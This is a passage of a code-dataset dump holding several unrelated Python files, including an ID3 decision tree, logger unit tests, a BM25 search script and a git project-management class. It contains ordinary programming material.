.format(type(ensemble)))\n #si la liste est vide\n if len(ensemble) == 0:\n raise ValueError(\"la liste d'exemples ne peut être vide !\")\n #testons si tous les exemples ont la même étiquette\n if ensemble.entropie() == 0:\n #on retourne l'étiquette en question\n return Feuille(ensemble.liste_exemples[0].etiquette)\n #s'il ne reste d'attribut à tester\n if len(ensemble.liste_attributs) == 0:\n max, etiquette_finale = 0, \"\"\n #on teste toutes les étiquettes possibles de l'ensemble\n for etiquette in ensemble.etiquettes_possibles():\n sous_ensemble = ensemble.sous_ensemble_etiquette(etiquette)\n #si c'est la plus fréquente, c'est celle qu'on choisit\n if len(sous_ensemble) > max:\n max, etiquette_finale = len(sous_ensemble), etiquette\n #et on la retourne dans une feuille\n return Feuille(etiquette_finale)\n\n a_tester = ensemble.attribut_optimal()\n #si on arrive ici, on retourne d'office un nœud et pas une feuille\n noeud = Noeud(a_tester)\n #pour chaque valeur que peut prendre l'attribut à tester\n for valeur in ensemble.valeurs_possibles_attribut(a_tester):\n #on crée un sous-ensemble\n sous_ensemble = ensemble.sous_ensemble_attribut(a_tester, valeur)\n #et on en crée un nouveau nœud\n noeud.enfants[valeur] = self.__construire_arbre(sous_ensemble)\n #on retourne le nœud que l'on vient de créer\n return noeud\n\n def afficher(self):\n \"\"\"\n affiche l'entièreté de l'arbre à l'écran\n \"\"\"\n self.__afficher_arbre(self.arbre)\n\n def __afficher_arbre(self, noeud, nb_tabs=0):\n \"\"\"\n selon la convention :\n <-> nom de l'attribut\n - <-> valeur de l'attribut\n . <-> feuille\n \"\"\"\n #si on a affaire à un nœud\n if isinstance(noeud, Noeud):\n #on affiche le nom de l'attribut testé\n print('\\t' * nb_tabs + noeud.attribut_teste)\n #on parcourt ses enfants\n for enfant in noeud.enfants:\n #on affiche la valeur de l'attribut\n print('\\t' * nb_tabs + '-' + str(enfant))\n self.__afficher_arbre(noeud.enfants[enfant], nb_tabs+1)\n #si c'est une feuille\n elif isinstance(noeud, Feuille):\n #on affiche l'étiquette\n print('\\t' * nb_tabs + '.' + noeud.etiquette)\n else:\n raise TypeError(\"noeud doit être un Noeud/Feuille et pas un {}\" \\\n .format(type(noeud)))\n\n def etiqueter(self, exemple):\n \"\"\"\n assigne la bonne étiquette à l'exemple passé en paramètre\n \"\"\"\n #on initialise le nœud actuel avec le haut de l'arbre\n noeud_actuel = self.arbre\n #tant que l'on est sur un nœud et pas sur une feuille,\n #on continue d'explorer\n while not isinstance(noeud_actuel, Feuille):\n #pour savoir quel est le prochain nœud, on récupère d'abord\n #l'attribut testé avec noeud_actuel.attribut_teste puis on récupère\n #la valeur de l'exemple pour cet attribut avec\n #exemple.dict_attributs[noeud_actuel.attribut_teste]\n #puis on prend l'enfant de noeud_actuel ayant cette valeur.\n valeur = exemple.dict_attributs[noeud_actuel.attribut_teste]\n noeud_actuel = noeud_actuel.enfants[valeur]\n #on finit en donnant comme étiquette l'étiquette\n #contenue dans la feuille finale\n exemple.etiquette = noeud_actuel.etiquette\n\n","sub_path":"Arbre_ID3.py","file_name":"Arbre_ID3.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"99981248","text":"def duplicated(self, subset=None, keep='first'):\n \"\\n Return boolean Series denoting duplicate rows, optionally only\\n considering certain columns.\\n\\n Parameters\\n ----------\\n subset : column label or sequence of labels, optional\\n Only consider certain columns for identifying duplicates, by\\n default use all of the columns\\n keep : {'first', 'last', False}, default 'first'\\n Determines which duplicates (if any) to mark.\\n\\n - ``first`` : Mark duplicates as ``True`` except for the first occurrence.\\n - ``last`` : Mark duplicates as ``True`` except for the last occurrence.\\n - False : Mark all duplicates as ``True``.\\n\\n Returns\\n -------\\n Series\\n \"\n from pandas.core.sorting import get_group_index\n from pandas._libs.hashtable import duplicated_int64, _SIZE_HINT_LIMIT\n if self.empty:\n return Series(dtype=bool)\n\n def f(vals):\n (labels, shape) = algorithms.factorize(vals, size_hint=min(len(self), _SIZE_HINT_LIMIT))\n return (labels.astype('i8', copy=False), len(shape))\n if (subset is None):\n subset = self.columns\n elif ((not np.iterable(subset)) or isinstance(subset, str) or (isinstance(subset, tuple) and (subset in self.columns))):\n subset = (subset,)\n diff = Index(subset).difference(self.columns)\n if (not diff.empty):\n raise KeyError(diff)\n vals = (col.values for (name, col) in self.items() if (name in subset))\n (labels, shape) = map(list, zip(*map(f, vals)))\n ids = get_group_index(labels, shape, sort=False, xnull=False)\n return Series(duplicated_int64(ids, keep), index=self.index)","sub_path":"Data Set/bug-fixing-5/b1049540fe207f8d8071ebfbd44e8f5224c98bad--bug.py","file_name":"b1049540fe207f8d8071ebfbd44e8f5224c98bad--bug.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"88994449","text":"import unittest\nfrom unittest.mock import patch, MagicMock\n\nfrom mypy_boto3_builder.logger import get_logger, Logger\n\n\nclass GetLoggerTestCase(unittest.TestCase):\n @patch(\"mypy_boto3_builder.logger.logger\")\n @patch(\"mypy_boto3_builder.logger.logging\")\n def test_get_logger(self, logging_mock: MagicMock, logger_mock: MagicMock) -> None:\n logger_mock.handlers = []\n result = get_logger(verbose=True)\n self.assertEqual(result, logger_mock)\n logging_mock.StreamHandler.assert_called_with()\n logger_mock.set_level.assert_called_with(logging_mock.DEBUG)\n\n logging_mock.reset_mock()\n HandlerMock = MagicMock()\n logger_mock.handlers = [HandlerMock]\n result = get_logger()\n logging_mock.StreamHandler.assert_not_called()\n logger_mock.setLevel.assert_not_called()\n\n result = get_logger(verbose=True, panic=True)\n result.panic = True\n\n\nclass LoggerTestCase(unittest.TestCase):\n @patch(\"mypy_boto3_builder.logger.logging.Logger.warning\")\n def test_warning(self, warning_mock: MagicMock) -> None:\n logger = Logger(\"name\")\n self.assertIsNone(logger.warning(\"test\"))\n warning_mock.assert_called_with(\"test\")\n logger.panic = True\n\n with self.assertRaises(RuntimeError):\n logger.warning(\"test\")\n\n @patch(\"mypy_boto3_builder.logger.logging.Logger.setLevel\")\n def test_set_level(self, set_level_mock: MagicMock) -> None:\n logger = Logger(\"name\")\n handler_mock = MagicMock()\n logger.handlers = [handler_mock]\n self.assertIsNone(logger.set_level(123))\n set_level_mock.assert_called_with(123)\n handler_mock.setLevel.assert_called_with(123)\n","sub_path":"tests/test_logger.py","file_name":"test_logger.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"628518683","text":"#!/usr/bin/python3\nimport json\n\nclass JsonLoadError(Exception):\n pass\nclass HostPropertyError(Exception):\n pass\n\nclass Host:\n def __init__(self, alias, base_dir, remote=False, sub_dir=None):\n self.alias = alias\n self._base_dir = base_dir\n if remote != False:\n self.remote = True\n if 'user' in remote:\n self.user = remote['user']\n else:\n self.user = None\n if 'host' in remote:\n self.host = remote['host']\n else:\n raise HostPropertyError('You need to define \"host\" in remote for \"{0}\"'.format(self.alias))\n if 'port' in remote:\n self.port = remote['port']\n else:\n self.port = 22\n else:\n self.remote = False\n self.host = 'localhost'\n self.user = None\n self.port = None\n self._sub_dir = sub_dir\n\n @property\n def remote_host(self):\n if self.remote != False:\n tmp = ''\n if self.user != None:\n tmp = tmp + '{0}@'.format(self.user)\n tmp = tmp + self.host\n return tmp\n else:\n return None\n\n @property\n def dir(self):\n if self.sub_dir == None:\n return self.base_dir\n else:\n return self.base_dir + self.sub_dir\n @property\n def base_dir(self):\n return self._base_dir\n\n @base_dir.setter\n def base_dir(self, value):\n if value[-1] == '/':\n self._base_dir = value\n else:\n self._base_dir = '{0}/'.format(value)\n\n @property\n def sub_dir(self):\n return self._sub_dir\n\n @sub_dir.setter\n def sub_dir(self, value):\n if(len(value) > 0):\n if value[-1] != '/':\n value = value + '/'\n if value[0] == '/':\n value = value[1:]\n self._sub_dir = value\n\ndef by_alias(alias, objects):\n for x in objects:\n if x.alias == alias:\n return x\n\ndef json_load(path):\n try:\n with open(path, 'r') as content_file:\n settings = json.load(content_file)\n hosts = []\n for x in settings['hosts']:\n values = []\n values.append(x['alias'])\n values.append(x['base_path'])\n if 'remote' in x:\n values.append(x['remote'])\n hosts.append(\n Host(*values)\n )\n return hosts\n except FileNotFoundError:\n raise JsonLoadError('The file \"{0}\" doesn\\'t exist'.format(path))\n except PermissionError:\n raise JsonLoadError('You don\\'t have the permission to read \"{0}\"'.format(path))\n except ValueError:\n raise JsonLoadError('\"{0}\" could not be parsed. Check the syntax.'.format(path))\n except KeyError:\n raise JsonLoadError('The hosts in your settings file doesn\\'t contain the required properties, alias and/or base.')\n","sub_path":"lib/host.py","file_name":"host.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"173436527","text":"# -*- coding: utf-8 -*-\n__author__=\"Patrik Ahvenainen\"\n__date__ =\"$12.11.2012 00:03:45$\"\n\n'''\nCreated on Nov 12, 2012\n\n@author: Patrik Ahvenainen\n'''\n\nimport Tkinter as T\n\nclass Pet(T.Frame):\n '''\n This class handles drawing a single pet on master.\n All items are contained within a single Frame.\n '''\n\n WIDTH_OF_PIC = 400\n\n def __init__(self,master, pet=''):\n '''\n master should be root\n '''\n self.master = master\n T.Frame.__init__(self, master)\n self.NofObjects = 0\n self.mainWindow = [] \n self.drawPet(pet)\n self.pack(side = T.LEFT) \n \n def drawPet(self, pet=''):\n '''\n May break; add checks\n '''\n if not pet:\n pet = self.master.game.pet\n \n # Add main photo\n image_path = self.master.graphicsRoot + 'animals/' + pet.species + '_small.gif' \n self.gifs = []\n self.gifs.append(T.PhotoImage(file=image_path, master=self))\n self.mainWindow.append(T.Button(self, image=self.gifs[0], width=Pet.WIDTH_OF_PIC,bd=0,takefocus=0))\n self.mainWindow[0].image = self.gifs[0] # keeps a reference \n self.NofObjects += 1 # keep track of total number of objects\n \n #self.mainWindow.append(T.Label(self, text=self.master.game.pet.name, width=WIDTH_OF_PIC))\n #self.NofObjects += 1 # keep track of total number of objects\n #self.mainWindow[self.NofObjects-1].pack()\n \n for index in range(0,self.NofObjects):\n self.mainWindow[index].grid(row=index, column=0)\n \n \n def addLabel(self,pet=''):\n '''\n Does not work. Does not do anything. Don't use.\n '''\n if not pet:\n pet = self.master.game.pet\n \n self.laabeli = T.Label(self, text=self.master.game.pet.name, width=Pet.WIDTH_OF_PIC)\n self.laabeli.grid()\n \n","sub_path":"src/GUI/Pet.py","file_name":"Pet.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"626272071","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/ztfy/comment/comment.py\n# Compiled at: 2013-11-17 05:51:46\n__docformat__ = 'restructuredtext'\nfrom persistent import Persistent\nfrom persistent.list import PersistentList\nfrom zope.annotation.interfaces import IAnnotations\nfrom zope.dublincore.interfaces import IZopeDublinCore\nfrom ztfy.comment.interfaces import IComment, IComments, ICommentsList, ICommentable\nfrom ztfy.comment.interfaces import ICommentAddedEvent\nfrom zope.component import adapts\nfrom zope.event import notify\nfrom zope.interface import implements\nfrom zope.location import Location, locate\nfrom zope.lifecycleevent import ObjectCreatedEvent, ObjectModifiedEvent\nfrom ztfy.security.search import getPrincipal\nfrom ztfy.utils.date import getAge\nfrom ztfy.utils.request import getRequest\nfrom ztfy.utils.security import unproxied\nfrom ztfy.utils.text import textToHTML\n\nclass CommentAddedEvent(ObjectModifiedEvent):\n implements(ICommentAddedEvent)\n\n def __init__(self, object, comment):\n super(CommentAddedEvent, self).__init__(object)\n self.comment = comment\n\n\nclass Comment(Persistent, Location):\n implements(IComment)\n\n def __init__(self, body, in_reply_to=None, renderer=None, tags=()):\n self.body = body\n self.body_renderer = renderer\n self.in_reply_to = unproxied(in_reply_to)\n if isinstance(tags, (str, unicode)):\n tags = tags.split(',')\n self.tags = set(tags)\n\n @property\n def date(self):\n return IZopeDublinCore(self).created\n\n def getAge(self):\n return getAge(self.date)\n\n @property\n def principal_id(self):\n return IZopeDublinCore(self).creators[0]\n\n @property\n def principal(self):\n return getPrincipal(self.principal_id).title\n\n def render(self, request=None):\n if request is None:\n request = getRequest()\n return textToHTML(self.body, self.body_renderer, request)\n\n\nclass Comments(PersistentList):\n \"\"\"Comments container class\"\"\"\n implements(ICommentsList)\n __parent__ = None\n __name__ = None\n\n def append(self, item):\n super(Comments, self).append(item)\n locate(item, self)\n\n\nCOMMENTS_ANNOTATION_KEY = 'ztfy.comment'\n\nclass CommentsAdapter(object):\n adapts(ICommentable)\n implements(IComments)\n\n def __init__(self, context):\n self.context = context\n annotations = IAnnotations(context)\n comments = annotations.get(COMMENTS_ANNOTATION_KEY)\n if comments is None:\n comments = annotations[COMMENTS_ANNOTATION_KEY] = Comments()\n locate(comments, self.context)\n self.comments = comments\n return\n\n def getComments(self, tag=None):\n if not tag:\n return self.comments\n return [ c for c in self.comments if tag in c.tags ]\n\n def addComment(self, body, in_reply_to=None, renderer=None, tags=()):\n comment = Comment(body, in_reply_to, renderer, tags)\n notify(ObjectCreatedEvent(comment))\n self.comments.append(comment)\n notify(CommentAddedEvent(self.context, comment))","sub_path":"pycfiles/ztfy.comment-0.3.3-py2.7/comment.py","file_name":"comment.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"10129397","text":"import optunity\nimport optunity.metrics\nimport sklearn.svm\n\n# score function: twice iterated 10-fold cross-validated accuracy\n@optunity.cross_validated(x=data, y=labels, num_folds=10, num_iter=2)\ndef svm_auc(x_train, y_train, x_test, y_test, C, gamma):\n model = sklearn.svm.SVC(C=C, gamma=gamma).fit(x_train, y_train)\n decision_values = model.decision_function(x_test)\n return optunity.metrics.roc_auc(y_test, decision_values)\n\n# perform tuning\noptimal_pars, _, _ = optunity.maximize(svm_auc, num_evals=200, C=[0, 10], gamma=[0, 1])\n\n# train model on the full training set with tuned hyperparameters\noptimal_model = sklearn.svm.SVC(**optimal_pars).fit(data, labels)\n","sub_path":"docs/examples/python/sklearn/svc.py","file_name":"svc.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"586528295","text":"# Implementar la funcion borrar_persona, que elimina un registro en la tabla Persona.\n# Devuelve un booleano en base a si encontro el registro y lo borro o no.\n\nimport sqlite3\nimport datetime\nfrom ejercicio_02 import agregar_persona\nfrom ejercicio_01 import reset_tabla\nconn = sqlite3.connect('tabla.db')\ncur = conn.cursor()\n\n\ndef borrar_persona(id_persona):\n conn = sqlite3.connect('tabla.db')\n with conn:\n cur = conn.cursor()\n cur.execute(\"SELECT idPer \"\n \"FROM tablaPersona \"\n \"WHERE idPer =?\", (id_persona,))\n conn.commit()\n var = cur.fetchone()\n if var is None:\n return False\n else:\n cur.execute(\"DELETE \"\n \"FROM tablaPersona \"\n \"WHERE idPer =?\", (id_persona,))\n conn.commit()\n return True\n return False\n\n\n@reset_tabla\ndef pruebas():\n assert borrar_persona(agregar_persona('juan perez', datetime.datetime(1988, 5, 15), 32165498, 180))\n assert borrar_persona(12345) is False\n\nif __name__ == '__main__':\n pruebas()\n","sub_path":"practico_03/ejercicio_03.py","file_name":"ejercicio_03.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"296266287","text":"# coding=utf-8\nimport pymysql\nimport pandas as pd\nimport math\nimport re\nfrom time import time\nimport os\nimport json\n\n# 连接数据库\nconfig = {'host': 'localhost',\n 'port': 3306,\n 'user': 'root',\n 'passwd': 'Chen0902',\n 'charset': 'utf8mb4',\n 'local_infile': 1\n }\nconn = pymysql.connect(**config)\ncur = conn.cursor()\n\ndef calculateLength(dict): # calculate the length of a document\n length = 0\n for values in dict.values():\n length += values\n return length\n\n\n# load_csv函数,参数分别为csv文件路径,表名称,数据库名称\ndef load_csv(csv_file_path, table_name, database='test'):\n # 打开csv文件\n file = open(csv_file_path, 'r', encoding='utf-8')\n # 读取csv文件第一行字段名,创建表\n reader = file.readline()\n b = reader.split(',')\n colum = ''\n for a in b:\n colum = colum + a + ' varchar(255),'\n colum = colum[:-1]\n # 编写sql,create_sql负责创建表,data_sql负责导入数据\n create_sql = 'create table if not exists ' + table_name + ' ' + '(id' + colum + ')' + ' DEFAULT CHARSET=utf8'\n data_sql = \"LOAD DATA LOCAL INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY ',' LINES TERMINATED BY '\\\\r\\\\n' IGNORE 1 LINES\" % (\n csv_file_path, table_name)\n\n # 使用数据库\n cur.execute('use %s' % database)\n # 设置编码格式\n cur.execute('SET NAMES utf8;')\n cur.execute('SET character_set_connection=utf8;')\n # 执行create_sql,创建表\n print(create_sql)\n cur.execute(create_sql)\n # 执行data_sql,导入数据\n print(data_sql)\n cur.execute(data_sql)\n conn.commit()\n # 关闭连接\n conn.close()\n cur.close()\n\n# load_csv(\"final_home.csv\", 'tab1')\ndf = pd.read_csv(\"20210408.csv\", error_bad_lines=False)\ndocument = {}\nfor d in range(len(df)):\n document[d] = (','.join([str(i) for i in df.loc[d,:].to_list()]))\nprint(document[1])\n\n#####Search Engine\nstopwords = set() # A set to store the stopwords\nwith open(\"stopwords.txt\") as f:\n for line in f:\n line = line[:-1] # Remove the /n in the back of the line\n stopwords.add(line)\n\nif not os.path.exists(\"home_search.txt\"): # The following code are for indexing, will only run on the first run.\n print(\"This is the first time to run. The program needs document processing. Please wait a moment\")\n N = 0 # Calculate the number of documents in the collection\n avg_doclen = 0 # The average length of a document in the collection, will be used later\n comp = re.compile('[^a-z^0-9^ ]') # A compiler to remove the punctuation\n Ni = {} # Number of documents contains term i, key is the term, value is Ni\n Fij = {} # Frequency of term i in document j, key is the document number, value is a dict\n k = 1 # k for BM25\n b = 0.75 # b for BM25\n t1 = time()\n for docs in document.values():\n N += 1\n line = docs\n #line = comp.sub(' ', line.lower())\n line = line.lower()\n line_split = line.split(\",\")\n # print(line_split)\n newDict = {} # Store the frequency of terms in this document, key is the term, value is the frequency\n for elements in line_split:\n avg_doclen += 1 # Calculate the number of terms in the document collection\n if elements in newDict: # Calculate the frequency of this term in this document\n newDict[elements] += 1\n else:\n newDict[elements] = 1\n for terms in newDict: # Calculate the number of documents contains this term\n if terms not in Ni:\n Ni[terms] = 1\n else:\n Ni[terms] += 1\n Fij[docs] = newDict\n print(newDict)\n t2 = time()\n for terms in Ni.keys():\n Ni[terms] = math.log2(\n (N - Ni[terms] + 0.5) / (Ni[terms] + 0.5)) # Calculate the value for future calculations\n avg_doclen = avg_doclen / N # Calculate the average doc length\n index = {} # Store the BM25 value of every term in every document, key is the document name, value is the BM25_dict\n for keys in Fij.keys():\n BM25_dict = {} # Store the BM25 value of each term, key is the term, value is BM25 value\n lenDj = calculateLength(Fij[keys])\n for elements in Fij[keys].keys():\n BM25 = (((Fij[keys])[elements] * (1 + k)) / (\n (Fij[keys])[elements] + k * ((1 - b) + (b * lenDj) / avg_doclen))) * Ni[elements]\n BM25_dict[elements] = BM25\n index[keys] = BM25_dict\n js = json.dumps(index) # use json to store the dict in the txt file\n with open(\"home_search.txt\", \"w\") as f:\n f.write(js)\n t3 = time()\n print(\"Document processing completed\")\n# indexing finish\nfile = open('home_search.txt', 'r') # open the index file and store to a dictionary\nprint(\"Please wait for the system to load the file\")\nt4 = time()\njs = file.read()\nindex = json.loads(js)\nt5 = time()\nprint(\"done\")\nprint(t5 - t4)\nquery = input(\"Enter a query for search, or enter QUIT to quit\")\nprint(\"Enter query: \", query)\nwhile query != \"QUIT\": # Repeat this process until the user input QUIT\n query = query.lower()\n similarity = {} # A dict store the similarity, the key is the document id, the value is the score\n query_term = [] # A list store the stemmed terms in the query\n print(\"Result for query: \")\n for elements in query.split(\" \"):\n if elements not in stopwords: # remove stopwords\n query_term.append(elements)\n print(query_term)\n for documents in index: # calculate similarity score for every document\n score = 0\n for terms in query_term:\n if terms in index[documents]:\n score += (index[documents])[terms]\n similarity[documents] = score\n result = sorted(similarity.items(), key=lambda x: x[1], reverse=True) # Sort by similarity\n rank = 1\n for r in result: # Print top 15 results\n print(\"rank: \", rank, \"document: \", r[0], \"score: \", r[1])\n rank += 1\n if rank == 16:\n break\n query = input(\"Enter a query\")","sub_path":"backend/src/resource/20210407.py","file_name":"20210407.py","file_ext":"py","file_size_in_byte":6110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"182635137","text":"\"\"\"Representation of clowder.yaml project\"\"\"\n\nfrom __future__ import print_function\n\nimport os\nimport sys\n\nfrom termcolor import colored\n\nimport clowder.util.formatting as fmt\nfrom clowder.error.clowder_error import ClowderError\nfrom clowder.git.project_repo import ProjectRepo\nfrom clowder.git.project_repo_recursive import ProjectRepoRecursive\nfrom clowder.model.fork import Fork\nfrom clowder.util.connectivity import is_offline\nfrom clowder.util.execute import execute_forall_command\n\n\nclass Project(object):\n \"\"\"clowder.yaml project class\"\"\"\n\n def __init__(self, root_directory, project, group, defaults, sources):\n self.name = project['name']\n self.path = project['path']\n\n self._root_directory = root_directory\n self._ref = project.get('ref', group.get('ref', defaults['ref']))\n self._remote = project.get('remote', group.get('remote', defaults['remote']))\n self._depth = project.get('depth', group.get('depth', defaults['depth']))\n self._recursive = project.get('recursive', group.get('recursive', defaults.get('recursive', False)))\n self._timestamp_author = project.get('timestamp_author', group.get('timestamp_author',\n defaults.get('timestamp_author', None)))\n self._print_output = True\n\n self._source = None\n source_name = project.get('source', group.get('source', defaults['source']))\n for source in sources:\n if source.name == source_name:\n self._source = source\n\n self._url = self._source.get_url_prefix() + self.name + \".git\"\n\n self.fork = None\n if 'fork' in project:\n fork = project['fork']\n if fork['remote'] == self._remote:\n error = fmt.remote_name_error(fork['name'], self.name, self._remote)\n print(fmt.invalid_yaml_error())\n print(error + '\\n')\n sys.exit(1)\n self.fork = Fork(fork, self._root_directory, self.path, self._source)\n\n def branch(self, local=False, remote=False):\n \"\"\"Print branches for project\"\"\"\n\n if not os.path.isdir(self.full_path()):\n print(colored(\" - Project is missing\\n\", 'red'))\n return\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n if not is_offline():\n if remote:\n if self.fork is None:\n repo.fetch(self._remote, depth=self._depth)\n else:\n repo.fetch(self.fork.remote_name)\n repo.fetch(self._remote)\n\n repo.print_branches(local=local, remote=remote)\n\n def clean(self, args='', recursive=False):\n \"\"\"Discard changes for project\"\"\"\n\n if not os.path.isdir(self.full_path()):\n print(colored(\" - Project is missing\\n\", 'red'))\n return\n\n repo = self._repo(self.full_path(), self._remote, self._ref, self._recursive and recursive)\n repo.clean(args=args)\n\n def clean_all(self):\n \"\"\"Discard all changes for project\"\"\"\n\n if not os.path.isdir(self.full_path()):\n print(colored(\" - Project is missing\\n\", 'red'))\n return\n\n repo = self._repo(self.full_path(), self._remote, self._ref, self._recursive)\n repo.clean(args='fdx')\n\n def diff(self):\n \"\"\"Show git diff for project\"\"\"\n\n if not os.path.isdir(self.full_path()):\n print(colored(\" - Project is missing\\n\", 'red'))\n return\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n repo.status_verbose()\n\n def exists(self):\n \"\"\"Check if project exists on disk\"\"\"\n\n path = os.path.join(self.full_path())\n return os.path.isdir(path)\n\n def existing_branch(self, branch, is_remote):\n \"\"\"Check if branch exists\"\"\"\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n if not is_remote:\n return repo.existing_local_branch(branch)\n\n rem = self._remote if self.fork is None else self.fork.remote_name\n return repo.existing_remote_branch(branch, rem)\n\n def fetch_all(self):\n \"\"\"Fetch upstream changes if project exists on disk\"\"\"\n\n if not self.exists():\n self.print_exists()\n return\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n\n if self.fork is None:\n repo.fetch(self._remote, depth=self._depth)\n return\n\n repo.fetch(self.fork.remote_name)\n repo.fetch(self._remote)\n\n def formatted_project_path(self):\n \"\"\"Return formatted project path\"\"\"\n\n repo_path = os.path.join(self._root_directory, self.path)\n return ProjectRepo.format_project_string(repo_path, self.path)\n\n def full_path(self):\n \"\"\"Return full path to project\"\"\"\n\n return os.path.join(self._root_directory, self.path)\n\n def get_current_timestamp(self):\n \"\"\"Clone project or update latest from upstream\"\"\"\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n return repo.get_current_timestamp()\n\n def get_yaml(self, resolved=False):\n \"\"\"Return python object representation for saving yaml\"\"\"\n\n if resolved:\n ref = self._ref\n else:\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n ref = repo.sha()\n\n project = {'name': self.name,\n 'path': self.path,\n 'depth': self._depth,\n 'recursive': self._recursive,\n 'ref': ref,\n 'remote': self._remote,\n 'source': self._source.name}\n\n if self.fork:\n fork_yaml = self.fork.get_yaml()\n project['fork'] = fork_yaml\n\n if self._timestamp_author:\n project['timestamp_author'] = self._timestamp_author\n\n return project\n\n def herd(self, branch=None, tag=None, depth=None, rebase=False, parallel=False):\n \"\"\"Clone project or update latest from upstream\"\"\"\n\n self._print_output = not parallel\n\n herd_depth = depth if depth is not None else self._depth\n repo = self._repo(self.full_path(), self._remote, self._ref, self._recursive,\n parallel=parallel, print_output=self._print_output)\n\n if branch:\n self._herd_branch(repo, branch, herd_depth, rebase)\n return\n\n if tag:\n self._herd_tag(repo, tag, herd_depth, rebase)\n return\n\n self._herd_ref(repo, herd_depth, rebase)\n\n def is_dirty(self):\n \"\"\"Check if project is dirty\"\"\"\n\n repo = self._repo(self.full_path(), self._remote, self._ref, self._recursive)\n return not repo.validate_repo()\n\n def is_valid(self):\n \"\"\"Validate status of project\"\"\"\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n return repo.validate_repo()\n\n def print_exists(self):\n \"\"\"Print existence validation message for project\"\"\"\n\n if not self.exists():\n print(self.status())\n ProjectRepo.exists(self.full_path())\n\n def print_validation(self):\n \"\"\"Print validation message for project\"\"\"\n\n if not self.is_valid():\n print(self.status())\n ProjectRepo.validation(self.full_path())\n\n def prune(self, branch, force=False, local=False, remote=False):\n \"\"\"Prune branch\"\"\"\n\n if not ProjectRepo.existing_git_repository(self.full_path()):\n return\n\n if local and remote:\n self._prune_local(branch, force)\n self._prune_remote(branch)\n elif local:\n self._prune_local(branch, force)\n elif remote:\n self._prune_remote(branch)\n\n def reset(self, timestamp=None, parallel=False):\n \"\"\"Reset project branches to upstream or checkout tag/sha as detached HEAD\"\"\"\n\n self._print_output = not parallel\n\n repo = self._repo(self.full_path(), self._remote, self._ref, self._recursive,\n parallel=parallel, print_output=self._print_output)\n self._reset(repo, timestamp=timestamp)\n\n def run(self, command, ignore_errors, parallel=False):\n \"\"\"Run command or script in project directory\"\"\"\n\n if not parallel:\n if not os.path.isdir(self.full_path()):\n print(colored(\" - Project is missing\\n\", 'red'))\n return\n\n self._print_output = not parallel\n self._print(fmt.command(command))\n\n forall_env = {'CLOWDER_PATH': self._root_directory,\n 'PROJECT_PATH': self.full_path(),\n 'PROJECT_NAME': self.name,\n 'PROJECT_REMOTE': self._remote,\n 'PROJECT_REF': self._ref}\n\n if self.fork:\n forall_env['FORK_REMOTE'] = self.fork.remote_name\n\n return_code = execute_forall_command(command.split(), self.full_path(), forall_env, self._print_output)\n if not ignore_errors:\n err = fmt.command_failed_error(command)\n if return_code != 0:\n self._print(err)\n self._exit(err, return_code=return_code, parallel=parallel)\n\n def start(self, branch, tracking):\n \"\"\"Start a new feature branch\"\"\"\n\n if not ProjectRepo.existing_git_repository(self.full_path()):\n print(colored(\" - Directory doesn't exist\", 'red'))\n return\n\n remote = self._remote if self.fork is None else self.fork.remote_name\n depth = self._depth if self.fork is None else 0\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n repo.start(remote, branch, depth, tracking)\n\n def status(self, padding=None):\n \"\"\"Return formatted status for project\"\"\"\n\n if not ProjectRepo.existing_git_repository(self.full_path()):\n print(colored(self.name, 'green'))\n return\n\n project_output = ProjectRepo.format_project_string(self.full_path(), self.path)\n current_ref_output = ProjectRepo.format_project_ref_string(self.full_path())\n\n if padding:\n project_output = project_output.ljust(padding)\n\n return project_output + ' ' + current_ref_output\n\n def stash(self):\n \"\"\"Stash changes for project if dirty\"\"\"\n\n if self.is_dirty():\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n repo.stash()\n\n def sync(self, rebase=False, parallel=False):\n \"\"\"Sync fork project with upstream\"\"\"\n\n self._print_output = not parallel\n\n repo = self._repo(self.full_path(), self._remote, self._ref, self._recursive,\n parallel=parallel, print_output=self._print_output)\n self._sync(repo, rebase)\n\n @staticmethod\n def _exit(message, parallel=False, return_code=1):\n \"\"\"Exit based on serial or parallel job\"\"\"\n\n if parallel:\n raise ClowderError(message)\n sys.exit(return_code)\n\n def _herd_branch(self, repo, branch, depth, rebase):\n \"\"\"Clone project or update latest from upstream\"\"\"\n\n if self.fork is None:\n repo.herd_branch(self._url, branch, depth=depth, rebase=rebase)\n return\n\n self._print(self.fork.status())\n repo.configure_remotes(self._remote, self._url, self.fork.remote_name, self.fork.url)\n\n self._print(fmt.fork_string(self.name))\n repo.herd_branch(self._url, branch, rebase=rebase, fork_remote=self.fork.remote_name)\n\n self._print(fmt.fork_string(self.fork.name))\n repo.herd_remote(self.fork.url, self.fork.remote_name, branch=branch)\n\n 